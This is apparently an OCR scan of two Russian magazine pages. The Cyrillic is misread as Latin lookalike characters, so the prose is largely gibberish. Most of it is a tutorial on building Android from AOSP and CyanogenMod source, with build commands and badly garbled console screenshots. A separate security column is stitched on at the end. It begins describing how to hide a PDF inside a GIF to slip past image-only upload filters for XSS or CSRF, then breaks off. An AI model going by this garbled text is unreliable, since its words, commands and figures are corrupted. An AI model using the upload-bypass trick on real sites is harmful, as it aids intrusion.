CO3[aHue 1 oTnafka cobCTBEHHbIX MOLYNIEN, @ TaKXKe pa3nyHble Ka-
cToMm3auuu nop cebs. B aToin cTaTbe A nonbiTaloch pacckasatb 06 06-
WX npuHumnax c6opku Android Ha npumepe ynctoro AOSP (Android
Open Source Project), a Takxe ero mogndukaummu CyanogenMod.

WTak, Mbl byaem cobupats Android U3 ncxopHbIx
Kof,0B. YC/IOBHO Pa3fevM 3TOT 3aHUMaTe bHbli
npoLecc Ha Tpu Wwara:

1. ToaroToBKacucTeMmsl.

2. CkaynBaHMe UCXOQHMKOB.

3. CobcTBeHHo camacbopka.

B npouecce Mbl ckomnuanpyem Android
OJ19 YeTblpeXx pasHblX yCTPOWCTB, BKJIlOYas odu-
unansHbiit Galaxy Nexus, nopnepxunBaembiil Ko-
MaHpgoi CyanogenMod LG Optimus Black, a Takxe
Samsung Galaxy Y u Motorola Defy, ans koTopbix
CyLLeCTBYIOT TONbKO HeoduLmanbHble nopTel CM,
pa3BuBaeMble He3aBUCUMbIMU pa3paboTynkamu.

048

MPELBAPUTEJIBHBIE JIACKW,

NN HACTPOVIKA CMCTEMbI

[lns Havyana onpefenuMcs ¢ TeM, YTo HaM Mo-
Tpebyetca ansa cbopku AOSP 13 Mcxo[HNKOB.
Bo-nepsbix, Linux, xenatensHo Ubuntu, u,

ecnv xoyelwb cobpatb Android Bepcum 2.3.x
(Gingerbread) u Bbiwe, OC gonxHa bbITh b4-pas-
PALHON. 3aMeyy Takxe, YTO Mo 3asBEHMIO KO-
MaHAbl pa3paboTynkos, «becnpobnemHasn» cbop-
Ka ceiyac BO3MOoXHa Tonbko nog Ubuntu Bepcuit
10.04-11.10, Torga kak Ha 12.04 cobepeTcs TonbKO
nocnefHss sepcus Android. Tem He MeHee 51 npo-
BOAWJI BCE 9KCTepUMeHTbI Ha 12.04 v He BcTpeTun
Kaknx-nnbo oWwmnboK nan HeKOpPeKTHO K paboThl
NpPOLMNBKY.

KpoMe Toro, Hy>XHo no3aboTutbes o fo-
CTaTOYHOM KOJINYeCcTBe JUCKOBOrO NPOCTPaH-
CTBa M onepaTuBHON NamMaTh. CaMn MCXOAHUKM
Android 3aHuMatoT okono 14 6. YunTbiBan
TakXe, 4To B npouecce cbopky ucnaputcs ele
rpe-To 15 6. OnepaTusHoi namsTi noTpebyeT-
csi He MeHblwe 2 6, Aa 1 To BKyne c obnacTbio
nofkayku, paamepom 3—4 6. Ecnv Bce atn
TpeboBaHWA yAOBNETBOPEHBI, MOXHO NPUCTYNUTH
K MOAr0TOBKE cUCTeMbl. [l Havyana ycTaHoBUM
HeobxoauMble NakeThl:

$ sudo apt-get install git-core gnupg «
flex bison gperf build-essential zip «
curl 1libc6-dev libncurses5-dev:i386 «
x1llproto-core-dev 1libx11l-dev:i386
libreadline6-dev:i386 libgll-mesa-glx:«
i386 libgll-mesa-dev g++-multilib «
mingw32 openjdk-6-jdk tofrodos python-«
markdown libxml2-utils xsltproc «
zliblg-dev:i386

$ sudo 1n -s /usr/lib/i386-1linux-gnu/«
mesa/libGL.so.1 /usr/1lib/i386-1inux-gnu/«
1ibGL.so

Hemuoro cnos o JDK: pekomeHpgyeT-

ca ucnonbsosatb Oracle Java JDK, Ho, Tak
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Jlyuwee — ppyr xopowero

Checking out files: 100% (24601/24601), done.

Checking out files; 100% (17771/17771), done,ut files: 8% (14717771}
Checking out files: 100% (4265/4265), done. out files: 44% (1899/4265)
Checking out files: 106% (983/983), done.ng out files: 1% (11/983)
Checking out files: 100% (376/376), done.ng cut files: 9% (37/376)
Checking out files: 100% (431/431), done.ng cut files: 18% (73/431)
Checking out files: 106% (175/175), done,

Checking out files: 190% (135/135), done.

Checking out files: 106% (433/433), done.ng out files: 14% (61/433)
Checking out files: 100% (240772407, done.

Checking out files: 100% (248%/248%), done. out files: 2B% (695/2489)
Checking out files: 180% (249372493}, done.

Checking out files: 180% (177/177), done,

Checking out files: 106% (137/137), done.ng out files: 21% (23/137)
Checking out files: 100% (118/118), done.

Checking out files: 100% (36618/36613), done.

Checking out files: 100% (28/20), done.king out files: 25% (5/20)
Checking out files: 180% (BLl/81), done.

Checking out files: 108% (458/4508), done.

Checking cut files: 100% (5428/5428), done. out files: a% (2/5428)
Syncing work tree: 100% (306/306), done.

roman@raman-Satellite-C660D0: ~/fandroid/systens

CkpuHwWOT 1. YcnewwHas 3arpy3ka MCXoAHNUKOB

Kak OH boJiblUe He MOCTaBNRETCA B PENO3NTO-
pusix Ubuntu, ero HyxHo ckayaTb ¢ cavTa Oracle
M yCTaHOBNTbL caMocToATenbHo (goo.gl/N4IB2).
KpoMe Toro, HaM NoHaZ00UTCS FyrnoBCKUiA
WHCTPYMEHT LJ151 paboTbl C peno3nTopusiMu repo,
npepcTasnsownin coboit Python-obepTky Bokpyr
CUCTEMbI KOHTPOIA BEpCUiA git:

$ mkdir ~/bin

$ curl http://dl.googlecode.com/«
instruments/git/repo

$ chmod x+r repo

$ export PATH=$PATH:~/bin

Tenepb cMcTeMa roToBa, M HaM HYXXHbl HUC-
xonHuKku Android.

3AIPY3KA VICXO[HVKOB

MepeyncnerHble MaHUNYASLWMY MO HACTPONKe
cucTeMbl CnpaBefinBbl Ans cbopku nobon
Bepcumn n nioboin Mmoandukauum Android. Janb-
Hellne HalW AeCTBUS YXKe 3aBUCHT OT HaLLWX
xenaHwit. lns npumepa fasaii HayHeM co cbop-
kn AOSP pns Galaxy Nexus. 3To TunuyHenwmi
BapuaHT. [lng aToro cospasum kartasnor (Moxelb
Ha3BaTb ero Kak yrofHo, 3To HeNpuHLMUNuanb-
HO), B KOTOpPOM COBCTBEHHO M ByayT Nnexatsb
NCXOQHUKN:

$ mkdir -p android/system
$ cd android/system

[anee HeobXxoANMO MHULMANN3NPOBATbL perno-
3MTOPUNA C MOMOLLbIO Frepo:

$ repo init -u https://android.—
googlesource.com/platform/manifest

Ha sToM 3Tane repo nonpocuT BBECTU UMS
1 e-mail, 4To lenaTb coBCeM He 0bA3aTesbHO.
Mo ymMonyaHuio repo byAeT HACTPOEH Ha BETKY
master ykasaHHoro penosutopus (370 nocnenHas
Bepcua cucteMsl). Ecnn Tebe HYXHbI MCXOLHUKM
LpYroii Bepcuu, yKaxu ee ¢ MoMoLLblo Kiioya
'"-b'. Hanpumep:

$ repo init -u https://android.«
googlesource.com/platform/manifest
-b android-4.0.1_r1
[lanee MoXHO NpUCTYNUTb K 3arpy3ke Gainos:
$ repo sync

YTobbl 3arpy3ka Nponcxoanna B HECKONIbKO

MOTOKOB, MOXHO yKa3aTb onuuio -j#, roe # —
yuncno notokoB. CaM npouecc 3arpy3ku 40BOJIbHO

ArPECCUBHBIE
ONTUMU3ALNN

YT106bI NOBLICUTL NPOM3BOAUTENBHOCTb NPOLLKB-
KM, Tbl MOXellb nonpo6oBaTb NpUMeHUTL Gonee
arpeccuBHble ONLMK ONTUMU3ALUN KOMAUAS-
Topa. [lns aToro BMecTo «mka bacon» 3anycTtu
Takylo KOMaHay:

$ CFLAGS='-03 -fomit-frame-pointer'
mka bacon

Ho 370 Ha TBOIA CTpax 1 pucK, Tak Kak
MOXeLlb HapyLIUTb COBMECTUMOCTb COHOPKM C CO-
bTOM U XKene3oM.

ANMTeNbHbIN (Ha KaHane wupuHoi 1 M6 3arpyska
3aHana 6onblue Tpex Yacos), N03TOMY MOXellb
CMOKOWHO MATU 3aHUMATLCS CBOUMU JenamMu.

B cniyyae ecnv 3arpyska obopseTcs, [OCTaTOYHO
ByeT BHOBb BbIMOMHUTb «repo Sync» As ee
BOCCTaHOBJNIEHUS C NpepBaHHoro Mecta. Mocne
0KOHYaHWs 3arpy3ku Ha akpaH byaeT BbiBede-

Ha Hagnuch Buaa «Syncing work tree: 100%
(306/306) done» (cM. ckpuHwoT 1). 3To 3HAYMT,
4TO yXKe MOXHO NpucTynaTh K cbopke.

lMepen TeM Kak HayaTb MPOLLECC KOMMUAALMM, Mbl
LOJDKHBI BBINOHUTE KOMaH[bl CKpUNTa envsetup.
sh Anq ycTaHOBKM BCeX HEOBXOMMBIX NepeMeH-
HbIX OKpYXeHust n dyHKuuid. s atoro nepexo-
OVM B KaTasor ¢ ucxogHukamm [y mens ~/android/
system) v BbinonHaeM:

$ . build/envsetup.sh

Tonbko B C/nly4yae ycnewHoro BblinoJIHeHUA 3TOro
CKpUNTa MOXXHO Bbl3blBaTb KOMaHLY:

$ lunch umAa_ycTpoiicTBa

OHa npepHa3HayeHa ans Bobibopa Lenn cbopkm
WKW, FoBOPS APYrMMMU CIIOBaMU, KOHKPETHOrO

maka wxtdfy
+ make_extdfs

Creatirg filesystem wilk paramere-s:
Sirer 14%49% 5 8
Alock size: 4096
Blocks per goaup: 3Z7AA
Inodes por g-oup: Bl44
Lngee size: Zhe
Jeurnal bloc<s:
Labei:
Alocks: 3549691
Hlock groons: Lo9
Rasaerved block group sire: B/1

lakelirg foata an aiohiect_reapatem_data_file:zn

I2fBR

+ 778 e @ ']

BR56312 reseryenl49939328
raman@roran Satellite CAA0:~fandroidfsystent

f -a date cotftargelfprocuctfmagy ofuselcata. img oatftargetfpr oduct fmagur o fdatas
sn -5 gulflargetfproduc Limaguiafieetffile conlesls -1 18539537438 -0 d o L
ata gut/target/a-oduct/magurafuse-data.img out/target/praduct/maguro/dara

-5 -5 gutftarger/preoductfmagure/root/tile_cortexss -L 145319537408 -a
data citjtargetfproduct fragurefuserdata.img out/targetfpradect /magueroy/daca

Created filesystem with 19/BE7090 inodes ard F7199/3%48697 blocks

ocutftarget/prodact fmagurofuserdata.img maxsire—l4BLI98 7560 hlocksire—d??d total-i4a

foutiairieg Feloniia e gk
Lo il ik
Bt Lo ooy b, sk

TR Tl

ptied Ting Calesdarfroe
[EprLad FLg Rgalla
Bariy1ng wedfted By
Iipming peschags

ilg=irg peiepe
Clsaslng W
LBt

7 ABEN T I EAL - i
FErard

£ el 5 L L e bt 1 0 PR 10 WL

CkpuHwoT 2. Coopka AOSP 3aBepweHa
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CkpuHworT 3. C6opka CM 3aBeplieHa
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X-MOBILE

ycTpoiicTBa. Bbi3Bas ee 6e3 napameTpa, ycTpoit-
CTBO MOXHO byfeT BbIOpaTh U3 cnucka. B Halwem
cnyyae Hy»XHo yka3saTb full_maguro-userdebug,
roe maguro — kogosoe nma Galaxy Nexus GSM/
HSPA+. Mocne aToro MoXHO 3anycTWUTb npoLecc
KOMMUAALUM:

$ make -j4

3pecb 4 — 4nCno NOTOKOB KOMNUAALMU. ITO
3HaYeHue pekoMeHayeTcs BbIOMpaTh MeX Ay Mak-
CUManbHbIM U YABOEHHBIM MaKCUMabHbIM YUC-
JI0M annapaTHo NoAAepXMBaeMbIX NOTOKOB (ans
npoueccopos AMD 370 4ncno paBHo KonnyecTey
fAep npoueccopa, AN Intel 3To Yncno HyHO
YMHOXMTb Ha [Ba), C y4ETOM TOT0 YTO Ha KaX bl
NOTOK YNAEeT Kak MUHUMYM 2 6 onepaTnBKy,
KoTOopas, KCTaTh roBOps, MOXET 3aKOHYUTbCS

B CaMblil HEMOAXOAALLMA MOMEHT.

JInyHo y MeHs npoliecc pyxHyn Ha cbopke 6nb-
nnoTeku libwebcore.so n3-3a HexBaTku namaTy.
Mocne yBenuyenns ceona c 2 go 3 6 pesynbrat
6bin TeM xe. Mpuwnock cobupaTs 3TOT MOAYb
0TAEeNbHO U B 0AMH noTok: make libwebcore -j1,
nocne 4yero BHOBb Ha4yMHaTb 06uyyto cbopky. Bos-
MOXHbI W [pyrue oWnBKK, HO, Kak MpaBuio, OHK
y>Ke N3y4yeHbl, U peleHne MoXXHO HaiTu B lyrne.
Mpu ycnewHoi KOMNUNALNM NOCNEAHAR CTPOKA
BblBOZAA DyfeT cofepxath NyTh U pa3mep obpasa
(ckpuHwoT 2).

Ha atom cbopka AOSP 3akoH4eHa. Ho yTo,
€CJIM HaM Hy)XHa NpoLUKMBKa s fpyroro annapa-
Ta? Tak BOT, uncTbii AOSP Tbl cMoXellb cobpaTb
TONIbKO NOJ «TYrA0BCKME» annapaTkl nac Sony

CkpuHwoT 4. CM10 Ha Defy

Xperia S. KoHe4Ho, ecTb peLueHus 1 ans gpy-
VX 1eBaiicoB, HO A1 TaKWUX YCTPOWNCTB Jyylue
“ nerye Bcero cobpatb Mogudukaumio AOSP —
CyanogenMod.

CYANOGENMOD

CyanogenMod (ganee CM) — ato dpopk AOSP

CO MHOXECTBOM MOAUUKAL U, HanpaBIeHHbIX
Ha yayylieHne Npon3BOANTENLHOCTN U CTabuNb-
HOCTW, Maccomn [ONONHNTENbHBIX YHKLMIA 1 NO-
Ne3HbIX NOLWeK, KOTOPbIX HET B CTaHAaPTHON
npowwneke. PaspaboTtka CyanogenMod Bepetcs
MoYTW Noj, BCe camble NMonynsipHble annapaTbl
(cnncok 3geck: www.cyanogenmod.com/devices),
a 3T0 3HaYMT, YTO KaXblit MOXeT cobpaTb
CyanogenMod nop KoHKpeTHOEe yCTPOMNCTBO

13 UCXOLHbIX KOAOB, KOTOPble BCerfa AOCTYMHbI
nnsa ckaynsanus. CyanogenMod nonb3yetcs
OrPOMHON MONYNASPHOCTLIO, NO3TOMY HEOdM-
LMasibHble MOPThI MPOLUMBKN MOXHO HANTK

¥ 415 MHOXeCTBa Apyrux annapaTos, NOMUMO
opuLManbHO NoaAepX NBaeMbIX.

CylecTByeT HECKOIbKO MOAAEPXMBAEMbIX
sepcuit CM, Bknouas CyanogenMod 7 (Ha 6aze
Gingerbread, ons ManoMoLLHbIX 6104XeTHbIX
yctpoiicts), CM9 (Ha 6asze ICS) n go cux nop
paspabatbisaemas CM10 (Ha 6ase JB). Chopka
Kaxgown n3 sepcuin CM nponcxoAnT 0fMHaKOBO.
[Ons npumepa Mbl ckomnunupyem CM10 ona LG
Optimus Black, Ho st nocTapatoch ynoMsiHyTb 060
BCEX OTANYMAX U ANs apyrux Bepcuin CM.

CTouTt 3aMeTuTh, 410 KOMNUAALUS CM HuueM
He oTnnyaetcs ot AOSP, noaToMy AeiicTBuS
no NofroToBKe cucTeMbl byayT TeMu xe, nitc
notpebyetca ADB, KoTopblii MOXHO CKayaTb OT-
nenbHo unu B komnnekte Android SDK. Mpouecc
NoNy4YeHNs NCXOAHUKOB aHaNor14eH, 3a UCKJII0-
yeHueM agpeca:

$ mkdir android/cm

$ cd android/cm

$ repo init -u git://github.com/«
CyanogenMod/android -b jellybean
$ repo sync -j8

Ecnu Tebe HYXHbI MCXOAHWKMW APYroi BEpCUy,
TO NPOCTO YKaXun ee UM noce Kiya '-b': «-b
gingerbread» gns CM7, «-b ics» pna CM9. Xpatb
npuAeTCs He MeHbLUe, YeM NpK CKaynBaHUm
AOSP, Tak 4TO MOXeLlb CMOKOWHO 3aHUMATbCA
cBouMK genamu. Mo ymonyaHwio 3arpyssarcs
TosibKo copLbl camoro CM 6e3 cneyunduyeckmx
LN KOHKPETHbIX YyCTPOMCTB Gaiinos, KOTopble
MOXHO MOJTYYNTb C MOMOLLBIO fPYrOM KOMaHAbI:

$ . build/envsetup.sh && breakfast p970

3pecb p970 — koposoe ums LG Optimus
Black (kak ero y3HaTb? Kak BapWaHT, MOXHO
nocMoTpeTh Ha download.cyanogenmod.com
cnesa B KosnoHke Devices). Kpome ucxogHukos
YCTPOWCTBA, Takxe B 60NbLWMNHCTBE Cly4aeB
noHajobaTcs nponpuetapHblie bubnnoTeky,
WCXOLHUKOB KOTOPbIX HeT [MoCTaBLLMK Xeresa
nx He npegocTaeu). MoaToMy ux npugetcs
“3BJeYb C ycTpoiicTBa. [l 3Toro ¢ moMolLbio
USB-kabeng (TyT-To HaM 1 HyxeH ADB) noa-

KJI04aeM K KOMMNbIOTepy Hall AeBaliic, Ha KoTo-
POM Y€ J,0JKHa ObITb yCTaHOBJIEHA NOCEfHAS
oduumanbHas sepcus CM, n 3anyckaem ckpunt
extract-files.sh:

$ cd ~/android/cm/device/lge/p970/
$ ./extract-files.sh

Takxe HaM NoTpebyloTcs 3aKpbIThie NpUIOXe-
Hus RomManager n Terminal Emulator, koTopble
MOXHO MOSTY4YNTb TakK:

$ ~/android/cm/vendor/cm/get-prebuilts
A BoT Tenepb Bce! MoxHo cobupats:
$ . build/envsetup.sh && brunch p970

3peck brunch — ouH 13 xykoB, co3faBae-
MbIx envsetup.sh. [oka nget npouecc cbopku, Mbl
nonpobyem pa3obpaTbcs, YTo xe Takoe brunch,
a TakXe B APYrUX XUTPbIX GYHKLMAX, MCMONb3Y-
embix B CM.

YCKOPEHWE C50PKU

Ecnu tbl cobepewb n AOSP, u CM, To obs3aTenb-
HO 3aMeTuLb, 4To CM KOMNMAMpyeTcs 3HaYU-
TeNbHO bbicTpee. M Tbl HaBepHsAKa 3amMeTun,

yTto npu cbopke AOSP nucnonb3oBanacb koMaHaa
make, a TyT — brunch. Ecnv pasobpatbes,
KoMaHpa brunch ums_yctpoicTsa saBnsetcs
3KBWBAEHTOM TaKo KOMaHAbI:

$ breakfast uma_ycTpoiicTBa && mka bacon

YTo xe Torna Takoe «mka bacon»? A B aToi
KOMaHfe 1 cnpsiTaHa BCs conb. 3To GyHKLMS, co-
LepXxallas ciefytoLlyio KoMaHay:

schedtool -B -n 1 -e ionice -n 1 «
make -j “cat /proc/cpuinfo | «
grep "~processor" | wc -1 "$@"

OHa nepekJito4aeT NIaHUPOBLLMK NpoLieccopa
B pexxum SCHED_BATCH un noBbiwaeT npuoputeT
TeKyllen 3afa4u, Tak 4To eil oTAaeTCs bonblue
BPEMEHM Ha UCNOJTHEHUE, @ TaK)Ke yCTaHaBAN-
BaeT MaKCUMarnbHbI NPUOPUTET Ha BBOJ-BbIBOJ,
ANS TeKyluelt 3aa4m v 3anyckaet make, pac-
napasnennBas ero Ha Bce npoteccopsl. 3a cyeT
aToro cbopka CM npoxoanT bbicTpee, HO Npu 3TOM
nonb30BaTbCs KOMMOM BO BpeMsi COOPKM CTaHo-
BNTCH HepeasbHo.

Ecnu Tbl nnaHnpyewws YacTo nepecobupatsb
NPOLUKBKY, TO €CTb CMbIC/T HACTPONTDL ccache,
4TOObI YCKOPUTb NpoLEesypbl nepecbopku.

[lnsi 3aToro ycTaHoBM O HOMMEHHbIN NaKeT 1 f0-
6aBb B ~/.bashrc Takue cTpoku:

export USE_CCACHE=1
export CCACHE_DIR=kaTanor_pana_kewa

W cpasy xe nocne 3arpysku MCXOLHOTO KOAA
BbIMONTHU:

$ prebuilts/misc/linux-x86/ccache/«~
ccache -M 50G
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Jlyuwee — ppyr xopowero

CkpuHworT 5. MasHoe MeHto CWM

unu ansa ICS n Bepcuii nocTaplue:
$ prebuilt/linux-x86/ccache/ccache -M 50G

3HaueHune 506G 3geck ans npumMepa. Tbl MOXeLLb
yKa3aTb NPON3BOJIbHbIA pa3Mep KeLla.

Tenepb BepHeMca K Hawew cbopke. B cny-
Yae ee y4auHoro 3aseplwenns (cM. ckpuHwoT 3)
B KaTanore ~/android/cm/out/target/product/
p960/ Bynet nexatsb daiin c HazBaHWMeM Bpo4e
cm-10-XXXXXXXXX-UNOFFICIAL-p970.zip. 370
1 €CTb Hallla NPOLIMBKA, KOTOPYK MOXKHO yCTa-
HOBUTb C MOMOLLbIO KOHCOJIM BOCCTAHOBJIEHNS
(recovery).

CE50PKA CYANOGENMOD
013 KACTOMHOI'O YCTPOMCTBA
He bepfa, ecnn TBoero aesaica HeT cpeamn odu-
LnanbHo nofaepxunBaeMbix. Kak q yxe roso-
pun, pebsta c XDA nnu 4PDA yacTo nopTupytoT
CyanogenMod nop cBou ycTpoiicTBa, NO3TOMY
HeoduuUmanbHbi nopT CM MOXHO HaWTH Npak-
Tnyecku ans noboro yctponctaa. Bee nexopHble
TEKCTbI M KOHPUTYpaLMOHHbIe Galinbl Ang Ae-
Bailca HOCAT UMA «fiepeBo ycTpoiicTea» (device
tree] v BosxHbI Nexats B KaTanore «device/npo-
13BOAMUTENb/MMA_YCTPOCTBA» NCXoAHUKOB CM.
[Ins Toro 4ytobel cobpatb CyanogenMod nop ceoe
YCTPOICTBO, Thl LOJKeH HaliTh B CeTw (B Bonib-
WIMHCTBE CrlyYaes HaxoguTcs Ha GitHub) nepeso
yCTPOMCTBa M NOMECTUTb €10 B COOTBETCTBYHLLUNA
KaTanor.

[ ns npumepa Bo3bMeM Samsung Galaxy Y,
L7151 KOTOpOro HeT oduumansHoro CM. Ho
Ha GitHub nonbsosaTens vivekkalady (goo.
gl/soi4l) 5 Hawen aepeBo ycTpoicTBa 3TOr0
annapata gns CM7. KakoBbl BosKHbI 6bITb MOU
nenctena? B nepsyto ouepefb i AOSKEH CKayaTb
COAEepPXKUMOe peno3unTopus B Katanor «device/
samsung/totoro» (totoro — koposoe uMsa Galaxy
Y), a 3aTeM 3anycTUTL NPOLLECC KOMMUAALMUY.
Ho rae bpaTb nponpuetapHble ¢painbl? X MoXXHO
13BNeKaThb TOJIbKO C AieBaiica ¢ paboynm oduLmn-
anbHbIM CM, 4T0 HEBO3MOXHO B HalleM Ciyyae.
YacTo 37K dalinbl yxe ecTb B lepeBe YCTPOMCTBA,
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CkpuHwWoT 6. Boibop apxuBa Ans NPOLIMBKY

HO § X TaM He HalleJl, 3aTO Hallen B ApYroM
peno3uTtopuu Ha GitHub Toro xe vivekkalady
(goo.gl/5Jvlg). fanee ocTaeTcs CKONMPOBaTh UX

B KaTasnor «vendor/samsung/totoro», noayuntb
RomManager 1 Terminal Emulator, kak noka3saHo
BbIlLE, M HayaTb cOOpKY:

$ . build/envsetup.sh && brunch totoro

[pyrue aBTopbl NOPTOB MOTYT BLIIOXKUTH
B CeTb BCe ncxoaHuky CM BMecCTo oTAeNbHO-
ro fiepea ycTpoiictea. Hanpumep, nopt CM10
ana Motorola Defy (odpnumanbHo gns Hee
noafepxneaetca Tonbko CM9) nexut emecTe
c ucxogHnkamm CM10 B GitHub nonb3oBaTensa

¢ HukoM Quarx c 4pda.ru. [ins cbopku 3toro
nopTa flenaeM cneaytoulee:

$ repo init -u git://github.com/«
Quarx2k/android.git -b jellybean
$ repo sync

MponpueTtapHbie daiinibl yxe HaxoaATCs
B UCXO[LHMKAX, TaK YTO MCKaTb UM M3BNEKaTb
nx He Tpebyetca. Bee, 4To ocTaHeTcd caenath, —
NpocTo cKayaTb «Hecobupaemoe» M0 1 3any-
CTWUTb npouecc cbopku:

$ ~/android/system/vendor/cm/get-prebuilts
$ . build/envsetup.sh && brunch mb525

KcTtati, no npuynHe 3aN04eHHOro 3arpys-
4ymka KacToMHble npowmnsku ansa Defy paboTatoT
Ha Afpe, 3arpy>XXaeMoM Ha IeTy C MOMOLLbIo
Mofyns kexec. 3To 94p0 HOCWUT IKCNEepUMeHTab-
HbIV cTaTyc, M Tebe NpuAeTCS NPoLWNBaTh ero
OTAENbHO YXXe Nocie yCTaHOBKW CaMOM NpoLUnB-
K (cMoTpu daitn 2ndboot_06.10.zip Ha HaweM
ancke).

BMECTO NTOI0B

Ecnu tebe He yganock cobpatb Android ¢ nepsoro
pa3a — He HyXHO paccTpanBaTbcs. Habepuch
Tepnexus u npofosxai. CBOlo NepByto NPOLWKNBKY
5 cobpan yepes Heflesto Noce NepBoii NONbITKN.
Sl nocTapancs onucaTb 0CHOBHbIE NPUHLNMbI
cbopkn Android n3 ncxofHbix KOAOB, HO 60Jlb-
LLI0€ KOIMYECTBO BaXKHOW MHDOPMaLLMK BCe e
0CTanoch 3a KafpoM. B cHockax s ocTaBun He-
CKOJIbKO CChIIOK, MO KOTOPbIM €CTb JOMONHNTENb-
Has uHdopMauuns. Ha 3ToM y MeHs Bce. YgauHom
cbopkn! 3¢

YCTAHOBKA CYANOGENMOD
YEPE3 CWM

o CywecTByOT

* Ha aucke nexut

aBTOMaTH

Hble cucTeMbl cbopku
Android c ucxogHbIX

KoAo0B: 900.91/i0pvm

ngoo.gl/yyaLN.

YCTaHOBKY KaCTOMHbIX NPOLINBOK CJIeAyeT BbIMONHATL

n3 ClockworkMod Recovery (CWM). 3To KacToMHas KOH-
COJlb BOCCTAHOB/IEHUS, NO3BONAIOLAs YCTaHaBAUBATb NpPo-
WWBKM € Nto6bIMK LMPPOBLIMKU NoANMCAMU. MaHyan o ToM,
Kak yctaHoBuTb CWM Ha TBO KOHKpeTHbIW AeBaiic, Um
Ha xda-dev unu npocTo Noryrau. l oNuLy NULWb YCTAHOBKY
CyanogenMod c ero nomouybto.

[lns Havana BbIKNOYM TenepoH 1 BKJIKOUM €ro C 3a-
XaTbIMU KHonkaMu <Power> + <Volume Up> + <Home>
(koM6MHaLMS MOXKET OTNIMYATHCA A1 PA3HBIX YCTPOACTB).
Mocne aToro Tbl yBUAMLIL MEHIO, TOKA3aHHOE Ha CKPUH-
wote 5. Ans HaBUraLmu CNoNb3yin KNaBULLIN FPOMKOCTH,
Ans Bbibopa BbieNeHHOro NyHKTa — Knasuwy <Home>
(unn <Power>). lns Hayana BbINoAHM cHPOC 4O 3aBOACKMUX
HacTpoek ¢ noMolLbio NyHKTa wipe data / factory reset, a
3aTeM CMOHTUPYM KapTy NaMATM C NOMOLLbI MeHI0 mounts
and storage — mount USB storage u ckonupyii Ha Hee
¢dann npownsku. flanee Boibepu nyHKT «install zip from
sdcard» v Bbi6epu daiin ¢ npowmnskon (ckpuHwoT 6). MoTo-
Bo! CyanogenMod ycTaHoBAEH.

« [lponpuetapHbie
bainbl MOXKHO TakXe
M3BMeYb U3 apxuBa
NpPOLIMBKM, a He ¢ pa-
6oyero peBaica.

3T0 MOXHO cAenathb

€ MoMoLLbio CKpUNTA
unzip-files.sh, ecnun
TaKoBOIi UMeeTCs

B lepeBe yCTPONCTBA.

* B cbopky CM

He BKJIIOYeHbI
CTaHAapTHbIE Npy-
noxeHus ot Google
(gapps). ns ux
YCTaHOBKM CKavai
oTcropa goo.im/gapps
apXuB W YCTaHOBN
yepes CWM.

CM10 gna Motorola
Defy, a Takxe 3arpys-
YMK KacTOMHOro aapa
Aans Motorola Defy.

¢ OpuumanbHas cTpa-
Huua npoekTa AOSP:
goo.gl/jUyCr;

¢ wiki-cTaTbs 0 cbop-
ke CyanogenMod: goo.
gl/vlucx;

* cbopka Android nog,
x86: goo.gl/XfEao;
*3[1eCb MOXHO No-
yutaTtb noppobHee

0 filepeBe ycTpoicTBa:
g00.91/79FzY+;
*nogpobHee

o breakfast, lunch
ubrunch: goo.gl/
kX6Z0.
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B3JIOM/EASYHACK

Anekcen «GreenDog» TiopuH, Digital Security (twitter.com/antyurin)

-ASY

HACK

CNPATATDb PDF B GIF

PELLUEHWE

CeropHswHwuin Easy Hack Bo MHOroM NOCBSILLEH BCAKUM CTPAHHbIM

A cneyudUYecKnM WTYKaM, HecTaHAapTHOMY UCMONb30BaHMIo
CTaHAapTHbIX Bewwei. Ho aTo-To 1 kpyTo! Beab MMeHHO Tak U NosaBAs-
l0TCS HOBbIE BEKTOPbI aTak. Kak roBopsiT 3HatoLne Nofi1, 34eCb BaXHO
ynopcTBO U BOOOpaeHue, 1 Torga Aaxe U3 BCEM U3BECTHbIX WUTYK
MOXHO BbIPACTUTb 4TO-TO HOBOE, MHTEPECHOE, MOLLHOE... B 0bLyeMm,
anog 6onblumm Bneyatnernem ot ZeroNights 2012 :).

Ho naBaii BepHeMca K 3agaye. Bo-nepBbix, 3a4eM 370 HYXHO?

s Toro, 4tobbl Mbl MoK 3arpy3uTs PDF'Ky TaM, rae Mbl UX HE MOXEM
3arpyxaTb. Befb oueHb 4acTo bbiBaeT, YTo 3arpy3ka BCEBO3MOXKHbIX
KapTWHOK pa3pelleHa — OHW M0 OnpefeNeHnio CYUTATCS JOCTaTou-
Ho 6e3onacHbIMK. XOpOLLO, CKaXeLlb Tbl, @ 334eM 3T0-TO HyXHo0? Ham
KaK aTaKyLuM 0T KapTUHOK ManoBaTo NpoduTa, a BoT PDF nmeet

B cebe NpuUANYHbIA Ny40K BO3MOXHOCTe. Ecnn He roBopnTb 0 ToM,

4TO OAMH U3 OCHOBHbIX NyTel 3apa)KeHUsi KOMMNOB BCAKON BUPYCHEN —
370 PDF 1 o6pabathiBatowmii nx Acrobat Reader, To MOXHO BCMOMHUTb,
4TO0 Mbl MOXeM npoeoauTb SDRF-ataku unau nonyunts XSS'Ky Ha cep-
Bepe yepe3 PDF. Eciv 4To — npuMepbl yBUAKLIb 4y Tb MO3XKeE.

Kak e pewnTb 3agayky? Bce okasbiBaeTcs npolue, 4eM npefcTas-
NAeTCs, eCNIM N0YMTaTh M NOCMOTPETH FAe Hafo, @ UMEHHO B CTaH-
naptax. B Hux nuwertcs, yto 3aronosok PDF (tuna %PDF-1.1) nonxeH
HaxoauTbcs B nepBbix 1024 banTax danna. Yro bymet uatv fo 3aronos-
Ka, Acrobat Reader’y abconoTHO BCe paBHO. ITUM-TO Mbl U MOXEM BOC-
noJb30BaTbCs, Pa3MeCTUB B Hayalle paiina fjlaHHble B 0AHOM popMmaTe
(Hanpumep, GIF, JPG, doc), a panswe nocne 1024 baitTa — B fpyrom,

10 ecTb B PDF (cM. npumep Ha puc. 1). Mpu a1oM 06a popmaTta ocTatoTca
BanuAHbIMU. Bce 3aBMCKT 0T Toro, Kak Mbl obpaliaeMcs K daitny

052

[ WARNING|

Bcsi uHpopMauus
npeAocTaBneHa UCK-
YUTENbHO B 03HAKOMU-
TeNbHbIX Lensx.

Hu pepakums, Hu aBTOp
He HeCyT OTBETCTBEH-
HOCTK 3a nioboW Bo3-
MOXHbIA Bpepa, npuyu-
HEHHbII MaTepuanamu
RaHHOW CTaTby.

Bce onucaHHble npo-
rpaMMbl co Bcei pyopu-
KM UM Ha nCKe.

(koTopbIlA, MpeAnonoXnM, 3arpy3unn Ha http://pdfxss.appspot.com/
Son-of-Gifar/NotAPDF.gif):

